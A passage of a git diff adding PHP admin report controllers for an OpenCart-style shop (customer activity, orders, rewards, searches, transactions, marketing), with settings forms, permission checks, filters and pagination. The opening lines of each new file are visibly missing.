+ $data['action'] = $this->url->link('extension/report/customer_activity', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_customer_activity_status'])) {
+ $data['report_customer_activity_status'] = $this->request->post['report_customer_activity_status'];
+ } else {
+ $data['report_customer_activity_status'] = $this->config->get('report_customer_activity_status');
+ }
+
+ if (isset($this->request->post['report_customer_activity_sort_order'])) {
+ $data['report_customer_activity_sort_order'] = $this->request->post['report_customer_activity_sort_order'];
+ } else {
+ $data['report_customer_activity_sort_order'] = $this->config->get('report_customer_activity_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/customer_activity_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/customer_activity')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/customer_activity');
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $filter_ip = $this->request->get['filter_ip'];
+ } else {
+ $filter_ip = '';
+ }
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/customer');
+
+ $data['activities'] = array();
+
+ $filter_data = array(
+ 'filter_customer' => $filter_customer,
+ 'filter_ip' => $filter_ip,
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'start' => ($page - 1) * 20,
+ 'limit' => 20
+ );
+
+ $activity_total = $this->model_extension_report_customer->getTotalCustomerActivities($filter_data);
+
+ $results = $this->model_extension_report_customer->getCustomerActivities($filter_data);
+
+ foreach ($results as $result) {
+ $comment = vsprintf($this->language->get('text_activity_' . $result['key']), json_decode($result['data'], true));
+
+ $find = array(
+ 'customer_id=',
+ 'order_id='
+ );
+
+ $replace = array(
+ $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=', true),
+ $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=', true)
+ );
+
+ $data['activities'][] = array(
+ 'comment' => str_replace($find, $replace, $comment),
+ 'ip' => $result['ip'],
+ 'date_added' => date($this->language->get('datetime_format'), strtotime($result['date_added']))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $activity_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=customer_activity' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($activity_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($activity_total - $this->config->get('config_limit_admin'))) ? $activity_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $activity_total, ceil($activity_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_ip'] = $filter_ip;
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+
+ return $this->load->view('extension/report/customer_activity_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/customer_order.php b/public/admin/controller/extension/report/customer_order.php
new file mode 100644
index 0000000..4751e3c
--- /dev/null
+++ b/public/admin/controller/extension/report/customer_order.php
@@ -0,0 +1,176 @@
+load->language('extension/report/customer_order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_customer_order', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/customer_order', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/customer_order', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_customer_order_status'])) {
+ $data['report_customer_order_status'] = $this->request->post['report_customer_order_status'];
+ } else {
+ $data['report_customer_order_status'] = $this->config->get('report_customer_order_status');
+ }
+
+ if (isset($this->request->post['report_customer_order_sort_order'])) {
+ $data['report_customer_order_sort_order'] = $this->request->post['report_customer_order_sort_order'];
+ } else {
+ $data['report_customer_order_sort_order'] = $this->config->get('report_customer_order_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/customer_order_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/customer_order')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/customer_order');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/customer');
+
+ $data['customers'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_customer' => $filter_customer,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_total = $this->model_extension_report_customer->getTotalOrders($filter_data);
+
+ $results = $this->model_extension_report_customer->getOrders($filter_data);
+
+ foreach ($results as $result) {
+ $data['customers'][] = array(
+ 'customer' => $result['customer'],
+ 'email' => $result['email'],
+ 'customer_group' => $result['customer_group'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'orders' => $result['orders'],
+ 'products' => $result['products'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency')),
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=customer_order' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_total - $this->config->get('config_limit_admin'))) ? $customer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_total, ceil($customer_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/customer_order_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/customer_reward.php b/public/admin/controller/extension/report/customer_reward.php
new file mode 100644
index 0000000..fdf9985
--- /dev/null
+++ b/public/admin/controller/extension/report/customer_reward.php
@@ -0,0 +1,160 @@
+load->language('extension/report/customer_reward');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_customer_reward', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/customer_reward', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/customer_reward', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_customer_reward_status'])) {
+ $data['report_customer_reward_status'] = $this->request->post['report_customer_reward_status'];
+ } else {
+ $data['report_customer_reward_status'] = $this->config->get('report_customer_reward_status');
+ }
+
+ if (isset($this->request->post['report_customer_reward_sort_order'])) {
+ $data['report_customer_reward_sort_order'] = $this->request->post['report_customer_reward_sort_order'];
+ } else {
+ $data['report_customer_reward_sort_order'] = $this->config->get('report_customer_reward_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/customer_reward_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/customer_reward')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/customer_reward');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/customer');
+
+ $data['customers'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_customer' => $filter_customer,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_total = $this->model_extension_report_customer->getTotalRewardPoints($filter_data);
+
+ $results = $this->model_extension_report_customer->getRewardPoints($filter_data);
+
+ foreach ($results as $result) {
+ $data['customers'][] = array(
+ 'customer' => $result['customer'],
+ 'email' => $result['email'],
+ 'customer_group' => $result['customer_group'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'points' => $result['points'],
+ 'orders' => $result['orders'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency')),
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=customer_reward' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_total - $this->config->get('config_limit_admin'))) ? $customer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_total, ceil($customer_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_customer'] = $filter_customer;
+
+ return $this->load->view('extension/report/customer_reward_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/customer_search.php b/public/admin/controller/extension/report/customer_search.php
new file mode 100644
index 0000000..89f33d8
--- /dev/null
+++ b/public/admin/controller/extension/report/customer_search.php
@@ -0,0 +1,197 @@
+load->language('extension/report/customer_search');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_customer_search', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/customer_search', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/customer_search', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_customer_search_status'])) {
+ $data['report_customer_search_status'] = $this->request->post['report_customer_search_status'];
+ } else {
+ $data['report_customer_search_status'] = $this->config->get('report_customer_search_status');
+ }
+
+ if (isset($this->request->post['report_customer_search_sort_order'])) {
+ $data['report_customer_search_sort_order'] = $this->request->post['report_customer_search_sort_order'];
+ } else {
+ $data['report_customer_search_sort_order'] = $this->config->get('report_customer_search_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/customer_search_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/customer_search')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/customer_search');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $filter_keyword = $this->request->get['filter_keyword'];
+ } else {
+ $filter_keyword = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $filter_ip = $this->request->get['filter_ip'];
+ } else {
+ $filter_ip = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/customer');
+ $this->load->model('catalog/category');
+
+ $data['searches'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_keyword' => $filter_keyword,
+ 'filter_customer' => $filter_customer,
+ 'filter_ip' => $filter_ip,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $search_total = $this->model_extension_report_customer->getTotalCustomerSearches($filter_data);
+
+ $results = $this->model_extension_report_customer->getCustomerSearches($filter_data);
+
+ foreach ($results as $result) {
+ $category_info = $this->model_catalog_category->getCategory($result['category_id']);
+
+ if ($category_info) {
+ $category = ($category_info['path']) ? $category_info['path'] . ' > ' . $category_info['name'] : $category_info['name'];
+ } else {
+ $category = '';
+ }
+
+ if ($result['customer_id'] > 0) {
+ $customer = sprintf($this->language->get('text_customer'), $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true), $result['customer']);
+ } else {
+ $customer = $this->language->get('text_guest');
+ }
+
+ $data['searches'][] = array(
+ 'keyword' => $result['keyword'],
+ 'products' => $result['products'],
+ 'category' => $category,
+ 'customer' => $customer,
+ 'ip' => $result['ip'],
+ 'date_added' => date($this->language->get('datetime_format'), strtotime($result['date_added']))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode($this->request->get['filter_keyword']);
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $search_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=customer_search' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($search_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($search_total - $this->config->get('config_limit_admin'))) ? $search_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $search_total, ceil($search_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_keyword'] = $filter_keyword;
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_ip'] = $filter_ip;
+
+ return $this->load->view('extension/report/customer_search_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/report/customer_transaction.php b/public/admin/controller/extension/report/customer_transaction.php
new file mode 100644
index 0000000..09b476c
--- /dev/null
+++ b/public/admin/controller/extension/report/customer_transaction.php
@@ -0,0 +1,158 @@
+load->language('extension/report/customer_transaction');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_customer_transaction', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/customer_transaction', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/customer_transaction', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_customer_transaction_status'])) {
+ $data['report_customer_transaction_status'] = $this->request->post['report_customer_transaction_status'];
+ } else {
+ $data['report_customer_transaction_status'] = $this->config->get('report_customer_transaction_status');
+ }
+
+ if (isset($this->request->post['report_customer_transaction_sort_order'])) {
+ $data['report_customer_transaction_sort_order'] = $this->request->post['report_customer_transaction_sort_order'];
+ } else {
+ $data['report_customer_transaction_sort_order'] = $this->config->get('report_customer_transaction_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/customer_transaction_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/customer_transaction')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/customer_transaction');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/customer_transaction');
+
+ $data['customers'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_customer' => $filter_customer,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_total = $this->model_extension_report_customer_transaction->getTotalTransactions($filter_data);
+
+ $results = $this->model_extension_report_customer_transaction->getTransactions($filter_data);
+
+ foreach ($results as $result) {
+ $data['customers'][] = array(
+ 'customer' => $result['customer'],
+ 'email' => $result['email'],
+ 'customer_group' => $result['customer_group'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency')),
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=customer_transaction' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_total - $this->config->get('config_limit_admin'))) ? $customer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_total, ceil($customer_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_customer'] = $filter_customer;
+
+ return $this->load->view('extension/report/customer_transaction_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/marketing.php b/public/admin/controller/extension/report/marketing.php
new file mode 100644
index 0000000..0546a17
--- /dev/null
+++ b/public/admin/controller/extension/report/marketing.php
@@ -0,0 +1,162 @@
+load->language('extension/report/marketing');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_marketing', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/marketing', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/marketing', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_marketing_status'])) {
+ $data['report_marketing_status'] = $this->request->post['report_marketing_status'];
+ } else {
+ $data['report_marketing_status'] = $this->config->get('report_marketing_status');
+ }
+
